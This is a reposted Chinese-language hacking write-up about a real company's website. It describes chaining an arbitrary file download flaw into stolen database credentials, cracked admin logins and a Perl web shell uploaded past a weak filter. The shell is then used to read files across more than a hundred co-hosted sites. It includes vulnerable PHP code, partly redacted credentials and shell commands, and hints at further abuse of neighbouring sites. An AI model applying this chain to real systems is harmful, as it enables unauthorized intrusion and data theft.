音效素材网提供各类素材,打造精品素材网站!

站内导航 站长工具 投稿中心 手机访问

音效素材

某集团任意文件下载到虚拟主机getshell的方法
日期:2017-01-21 16:46:08   来源:脚本之家

0x01 前言 

从某群的故事改编而来,都是些老套路各位看官看得高兴就好;第一次在i春秋发帖有点紧张,如果有什么不周到的地方请去打死阿甫哥哥。你没听错,阿甫哥哥推荐。

 0x02 什么是任意文件下载

  说到文件下载各位童鞋都不陌生(老司机请跳过),我们要下载网站上某个文件(.zip、.doc、.pdf)直接请求这个文件即可格式一般为:域名+相对路径+文件名,如http://www.test.com/downlad/test.zip。而在网站上下载文件一般分为两种,一种就是刚才所说的直接请求某个文件,还有一种就是网站运营者提供了一个下载脚我们只需要请求:http://www.test.com/download.php?filename=test.zip(文件名)这样的url也可以下载文件。

  众所周知,我们请求一个网站上的脚本文件(这里以php为例)是不会被下载的,如:http://www.test.com/test.php。那任意文件下载是怎么造成的呢?这里就是上面说到的第二种情况了,网站运营者提供了http://www.test.com/download.php?filename=test.zip这样一个连接本意是想访问者下载test.zip文件,但是没有做好安全措施导致任意文件下载。 举个栗子:

  测试环境(phpstudy):windows7+php-5.5.38+apache

  一个任意文件下载脚本test.php,代码如下:

<?phpif(empty($_GET['filename']))
{ 
echo 'i春秋任意文件下载测试~'."<br>请输入需要下载的文件名";
}
else
{  
$filename = $_GET['filename'];  
$fileinfo = pathinfo($filename); 
header('Content-type: application/x-'.$fileinfo['extension']); 
header('Content-Disposition: attachment; filename='.$fileinfo[' name']);  
header('Content-Length: '.filesize($filename));  
readfile($filename); 
exit(); }
?>

  直接访问该文件,文件并没有被下载而是解析了其中的代码   

在网站根目录下新建一个文件夹inc并新建一个名为ichunqiu.php的文件   

现在来尝试下载该文件,访问:http://127.0.0.1/test/test.php?filename=/inc/ichunqiu.php成功下载该文件 

0x03 某集团任意文件下载

  之前挖某集团的漏洞时发现一个任意文件下载,两个思路:①下载源码审计-发现漏洞-利用;②下载数据库文件-如果支持外联-登录后台-尝试getshell,这里我选择了第二种。

  首先下载了index.php文件,代码如下:

<?define('IN_W3CWEB',true);require(dirname(__FILE__) . '/include/global.php'); 
@header("Content-type: text/html; 
charset=utf-8"); 
InitGP(array("action","do","gid","id")); 
$smarty->assign("pagetag","about"); 
$smarty->assign("page ","index");
$lng=isset($_GET['lng']) && $_GET['lng']=='en'?'en':'cn';
$sql="select * from $table_article where channel='1' and cat_id in(38,39)
order by show_style desc,art_addtime desc limit 6 ";
if($array=$DB->GetAll($sql)){ 
//print_r($row);  $smarty->assign("article_index",$array); }//print_r($GLOBALS);/*seo*/$seo_    
=""; $seo_keywords  
=""; $seo_de ion 
=""; seo_print();//print_r($_COOKIE);
$smarty->assign("action",$action);
$tpl="cn/index.html";
$smarty->display($tpl);//print_r($GLOBALS);
?>

  第3行包含了/include/global.php文件,继续下载global.php文件在第31-32行代码发现包含了数据库连接文件,如下:

<?php.../* 加载基本配置信息文件 */require(ROOT_PATH . 'data/config.php'); ...?>

  在config.php中找到数据库连接信息:

<?php// data type$db_type = "mysqli";
// data host$db_host = "xx.xx.xx.com";
// data name$db_name = "dxxxm";
// data username$db_user = "dxxxm";
// data password$db_pass = 'cxxxp1xxx6'; 
$dsn1 = "$db_type://$db_user:$db_pass@$db_host/$db_name"; ...?>

  站库分离,百度site:xx.com“厦xxx有限公司”  

  再访问下http://www.xxx.com/这个域名,通过扫描微信后基本确认“xx集团”主站的数据库是放在“xxx有限公司”的服务器上  

  继续,用navacat连接找到后台用户帐号密码:

用户名     密文         解密明文

axxxn        5xxx0

gxxxn        2xxxc        1xxxv 

0x04 虚拟主机getshell  

接着用gxxxn/1xxxv成功登录某集团官网后台:http://www.xxx.com/manage.php  

  在已发布文章里找了一处可以上传图片的,简单测试了下phtml、php、php%20、php%00之类的后缀均不能绕过,只好只好下载相关文件看代码。

<?php...//picfunction upload_pic($uploaddir, $uploadname, $uploadtype)
{ 
global $config; 
if($_FILES[$uploadname]["name"])
{     
$dir_file=$uploaddir;  
if(!file_exists($dir_file)){   
mkdir($dir_file , 0777);    
chmod($dir_file,0777);   
}   
$filename=explode(".",$_FILES[$uploadname]['name']);   
do{    
$filename[0] = date('YmdHis').$uploadtype;   
$uploadfile = $dir_file.implode(".",$filename);  
} while(file_exists($uploadfile)); 
if(strpos($uploadfile,"php")>0)
{  
return 'no php';  
}   
copy($_FILES[$uploadname]['tmp_name'], $uploadfile); 
} 
return str_replace($config['siteRoot'], "", $uploadfile); } ...?>

  strpos($uploadfile,"php")只过滤了php文件,陷入困境又去官网翻了翻突然注意到一处404仔细一看” 2.0.9 Perl”还支持perl脚本?于是在后台找了一处上传图片的地方直接上传perl脚本,结果还真成功getshell地址:http://www.xxx.com/AxxxT/axxxe/2xxxo.pl 支持perl的站,又涨姿势了~   

查看日志文件发现大量网站记录:cat /var/www/73scan.log也可以直接看web命令:ls /var/www/vhosts   

100+的网站,无意间getshell某公司的虚拟主机  

  任意读取一网站目录下的文件:cat /var/www/vhosts/0xxcom/httpdocs/index.php  

  虽然当前权限不能修改和写入,但是可跨目录读文件而这些网站的数据库又支持外联,你懂的;

  本想试试脏牛提权,但怕给打死了就草草提交了

 0x05 总结

① 精简下整个过程:任意文件下载-连接数据获得帐号密码-后台上传;

② 代码这块有点php基础都能看懂,学个十天半个月就成;

③ 细心吧,看到错误信息才想到支持perl脚本,不过一般也只有linux才会有;

以上所述是小编给大家介绍的某集团任意文件下载到虚拟主机getshell的方法,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对网站的支持!

    您感兴趣的教程

    在docker中安装mysql详解

    本篇文章主要介绍了在docker中安装mysql详解,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编...

    详解 安装 docker mysql

    win10中文输入法仅在桌面显示怎么办?

    win10中文输入法仅在桌面显示怎么办?

    win10系统使用搜狗,QQ输入法只有在显示桌面的时候才出来,在使用其他程序输入框里面却只能输入字母数字,win10中...

    win10 中文输入法

    一分钟掌握linux系统目录结构

    这篇文章主要介绍了linux系统目录结构,通过结构图和多张表格了解linux系统目录结构,感兴趣的小伙伴们可以参考一...

    结构 目录 系统 linux

    PHP程序员玩转Linux系列 Linux和Windows安装

    这篇文章主要为大家详细介绍了PHP程序员玩转Linux系列文章,Linux和Windows安装nginx教程,具有一定的参考价值,感兴趣...

    玩转 程序员 安装 系列 PHP

    win10怎么安装杜比音效Doby V4.1 win10安装杜

    第四代杜比®家庭影院®技术包含了一整套协同工作的技术,让PC 发出清晰的环绕声同时第四代杜比家庭影院技术...

    win10杜比音效

    纯CSS实现iOS风格打开关闭选择框功能

    这篇文章主要介绍了纯CSS实现iOS风格打开关闭选择框,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作...

    css ios c

    Win7如何给C盘扩容 Win7系统电脑C盘扩容的办法

    Win7如何给C盘扩容 Win7系统电脑C盘扩容的

    Win7给电脑C盘扩容的办法大家知道吗?当系统分区C盘空间不足时,就需要给它扩容了,如果不管,C盘没有足够的空间...

    Win7 C盘 扩容

    百度推广竞品词的投放策略

    SEM是基于关键词搜索的营销活动。作为推广人员,我们所做的工作,就是打理成千上万的关键词,关注它们的质量度...

    百度推广 竞品词

    Visual Studio Code(vscode) git的使用教程

    这篇文章主要介绍了详解Visual Studio Code(vscode) git的使用,小编觉得挺不错的,现在分享给大家,也给大家做个参考。...

    教程 Studio Visual Code git

    七牛云储存创始人分享七牛的创立故事与

    这篇文章主要介绍了七牛云储存创始人分享七牛的创立故事与对Go语言的应用,七牛选用Go语言这门新兴的编程语言进行...

    七牛 Go语言

    Win10预览版Mobile 10547即将发布 9月19日上午

    微软副总裁Gabriel Aul的Twitter透露了 Win10 Mobile预览版10536即将发布,他表示该版本已进入内部慢速版阶段,发布时间目...

    Win10 预览版

    HTML标签meta总结,HTML5 head meta 属性整理

    移动前端开发中添加一些webkit专属的HTML5头部标签,帮助浏览器更好解析HTML代码,更好地将移动web前端页面表现出来...

    移动端html5模拟长按事件的实现方法

    这篇文章主要介绍了移动端html5模拟长按事件的实现方法的相关资料,小编觉得挺不错的,现在分享给大家,也给大家...

    移动端 html5 长按

    HTML常用meta大全(推荐)

    这篇文章主要介绍了HTML常用meta大全(推荐),文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参...

    cdr怎么把图片转换成位图? cdr图片转换为位图的教程

    cdr怎么把图片转换成位图? cdr图片转换为

    cdr怎么把图片转换成位图?cdr中插入的图片想要转换成位图,该怎么转换呢?下面我们就来看看cdr图片转换为位图的...

    cdr 图片 位图

    win10系统怎么录屏?win10系统自带录屏详细教程

    win10系统怎么录屏?win10系统自带录屏详细

    当我们是使用win10系统的时候,想要录制电脑上的画面,这时候有人会想到下个第三方软件,其实可以用电脑上的自带...

    win10 系统自带录屏 详细教程

    + 更多教程 +
    WIN服务器linux服务器FTP服务器DNS服务器其他